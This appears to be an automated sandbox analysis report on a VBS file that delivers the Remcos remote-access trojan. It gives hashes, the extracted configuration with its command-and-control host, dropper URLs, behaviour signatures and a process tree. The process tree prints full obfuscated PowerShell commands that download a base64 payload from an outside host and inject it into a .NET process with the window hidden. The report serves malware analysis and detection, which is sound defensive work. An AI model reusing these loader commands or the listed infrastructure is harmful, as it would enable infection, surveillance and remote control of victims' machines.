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Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/09/2024, 04:28

General

  • Target

    Label_091273172.vbs

  • Size

    501KB

  • MD5

    acac54eb7b6c34d0c1dcf760c22ede4d

  • SHA1

    d6801fa279e4fe8696031696611c4b0d75054982

  • SHA256

    812abce7dbbfa5cff999d623b7af55b890d5e2ffbab510a0b585efb0bf2eb0cb

  • SHA512

    e22230cf8cec2bd0cbaf4f7eb18e32dd2246e52bac1df891cc8df67bdce2cf6982bd508307b6a2262e98a2e643e4a98ce229a82584fca5b3ce089f286f8cd393

  • SSDEEP

    12288:NxUu11RyddYlQLsdReovsT5JqGeqUXb8CYx6f2ACVqENi8rvNm7S0bpYiWYVwPkI:vTEsjaquAYdlb

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcosco222.duckdns.org:7877

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-FX5B2Y

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Label_091273172.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdaaml1cmwnKycgPSBSZycrJ2VodHRwJysncycrJzovL2lhNjAnKycwMTAwJysnLnVzLmFyY2gnKydpdmUub3JnLzI0L2l0ZW0nKydzJysnL2RldGFoLW5vJysndGUtdi8nKydEZXQnKydhaE5vdCcrJ2VWLnR4dFInKydnZTtaamliYXNlNjRDb250ZW50ID0gKCcrJ05lJysndy0nKydPJysnYmplJysnY3QgU3knKydzdCcrJ2VtLk5lJysndC5XZWJDbGllbnQpLkRvd25sJysnb2FkU3RyJysnaW5nKFpqaXVybCk7WmppYmluYScrJ3J5Q29uJysndCcrJ2VudCcrJyA9ICcrJ1tTeXMnKyd0ZW0nKycuQ29udmUnKydyJysndF06JysnOkZyb21CYXNlNicrJzRTdHJpbmcoWmonKydpJysnYmFzJysnZTY0Q28nKydudGVudCk7WmppJysnYXNzZW1ibHkgPSBbUmVmbGUnKydjdGlvbi5Bc3NlbScrJ2JseV06OkxvYScrJ2QoWmppYmknKyduYXJ5JysnQ28nKyduJysndGVudCk7WicrJ2ppJysndHlwZSA9IFonKydqaScrJ2Fzc2VtYmx5JysnLkdldFR5cGUoUmdlUnVuUEUuSG9tZVJnZSknKyc7WmppbScrJ2V0aCcrJ29kICcrJz0gWicrJ2ppdHlwZS5HZXRNZScrJ3Rob2QoUmcnKydlVkFJUmcnKydlKTtaamknKydtZXRob2QuSW52b2tlKFpqaW51bGwsIFtvYmplJysnY3RbXV0nKydAKFJnZTAvRycrJ3dNJysndWsvZC9lZScrJy5ldCcrJ3NhcC8vOnNwdHQnKydoJysnUmdlICwgUmdlJysnZGVzYXRpJysndmFkb1JnZSAnKycsIFJnZWRlc2F0JysnaXZhZG9SZycrJ2UgLCBSZ2UnKydkZXNhdGl2YWQnKydvUicrJ2dlLFJnZUEnKydkZEluUHInKydvY2VzczMnKycyJysnUmdlLFJnZVJnZSkpJykuUmVwbEFDZSgnWmppJywnJCcpLlJlcGxBQ2UoJ1JnZScsW1NUUkluZ11bQ2hhUl0zOSkgfCBJblZPa0UtZVhQUkVzc0lvTg==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Zjiurl'+' = Rg'+'ehttp'+'s'+'://ia60'+'0100'+'.us.arch'+'ive.org/24/item'+'s'+'/detah-no'+'te-v/'+'Det'+'ahNot'+'eV.txtR'+'ge;Zjibase64Content = ('+'Ne'+'w-'+'O'+'bje'+'ct Sy'+'st'+'em.Ne'+'t.WebClient).Downl'+'oadStr'+'ing(Zjiurl);Zjibina'+'ryCon'+'t'+'ent'+' = '+'[Sys'+'tem'+'.Conve'+'r'+'t]:'+':FromBase6'+'4String(Zj'+'i'+'bas'+'e64Co'+'ntent);Zji'+'assembly = [Refle'+'ction.Assem'+'bly]::Loa'+'d(Zjibi'+'nary'+'Co'+'n'+'tent);Z'+'ji'+'type = Z'+'ji'+'assembly'+'.GetType(RgeRunPE.HomeRge)'+';Zjim'+'eth'+'od '+'= Z'+'jitype.GetMe'+'thod(Rg'+'eVAIRg'+'e);Zji'+'method.Invoke(Zjinull, [obje'+'ct[]]'+'@(Rge0/G'+'wM'+'uk/d/ee'+'.et'+'sap//:sptt'+'h'+'Rge , Rge'+'desati'+'vadoRge '+', Rgedesat'+'ivadoRg'+'e , Rge'+'desativad'+'oR'+'ge,RgeA'+'ddInPr'+'ocess3'+'2'+'Rge,RgeRge))').ReplACe('Zji','$').ReplACe('Rge',[STRIng][ChaR]39) | InVOkE-eXPREssIoN"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
            PID:4604
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3864
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3804,i,3387628439405076340,17957358341235678872,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:8
      1⤵
        PID:1652

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        f41839a3fe2888c8b3050197bc9a0a05

        SHA1

        0798941aaf7a53a11ea9ed589752890aee069729

        SHA256

        224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

        SHA512

        2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        a6c9d692ed2826ecb12c09356e69cc09

        SHA1

        def728a6138cf083d8a7c61337f3c9dade41a37f

        SHA256

        a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

        SHA512

        2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fuieljo3.ips.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1704-1-0x000002EFA2860000-0x000002EFA2882000-memory.dmp

        Filesize

        136KB

      • memory/1704-11-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

        Filesize

        10.8MB

      • memory/1704-12-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

        Filesize

        10.8MB

      • memory/1704-22-0x00007FFE6A953000-0x00007FFE6A955000-memory.dmp

        Filesize

        8KB

      • memory/1704-23-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

        Filesize

        10.8MB

      • memory/1704-33-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

        Filesize

        10.8MB

      • memory/1704-0-0x00007FFE6A953000-0x00007FFE6A955000-memory.dmp

        Filesize

        8KB

      • memory/3864-32-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-37-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-25-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-45-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-34-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-35-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-36-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-28-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-39-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-40-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-41-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-43-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-42-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/3864-44-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/5080-24-0x000001BEDF4F0000-0x000001BEDF6FC000-memory.dmp

        Filesize

        2.0MB